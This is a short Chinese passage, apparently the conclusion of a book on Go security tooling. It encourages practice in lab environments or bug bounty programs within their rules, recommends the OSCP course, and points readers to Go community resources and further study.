开始实践并使用一些提供的工具。你可能需要找到或建立自己的测试网络,或者仅仅是一个简单的虚拟机,或者找到一个漏洞奖励计划。如果你决定尝试漏洞奖励计划,请务必仔细阅读范围和规则。为了将你学到的新工具和技能付诸实践,研究应用测试和网络渗透方法。如果你想成为渗透测试员,或者仅仅是想了解更多关于渗透测试的方法论,并在安全的实验环境中进行实践,那么我强烈推荐Offensive Security Certified ProfessionalOSCP)课程,该课程由 Offensive Security 提供,链接为:www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/

获取帮助并深入学习

想要更深入了解 Go、其语言设计与规范以及标准库,查看以下链接:

社区是获得帮助并与他人合作的好地方。在线社区和面对面的社区各有优缺点。以下是一些可以寻求 Go 帮助的地方:

通过应用本书中的知识继续学习。编写你自己的工具来实现目标。探索其他第三方包,或考虑封装或移植 Go 缺失的 C 语言库。尝试使用这门语言。最重要的是,继续学习!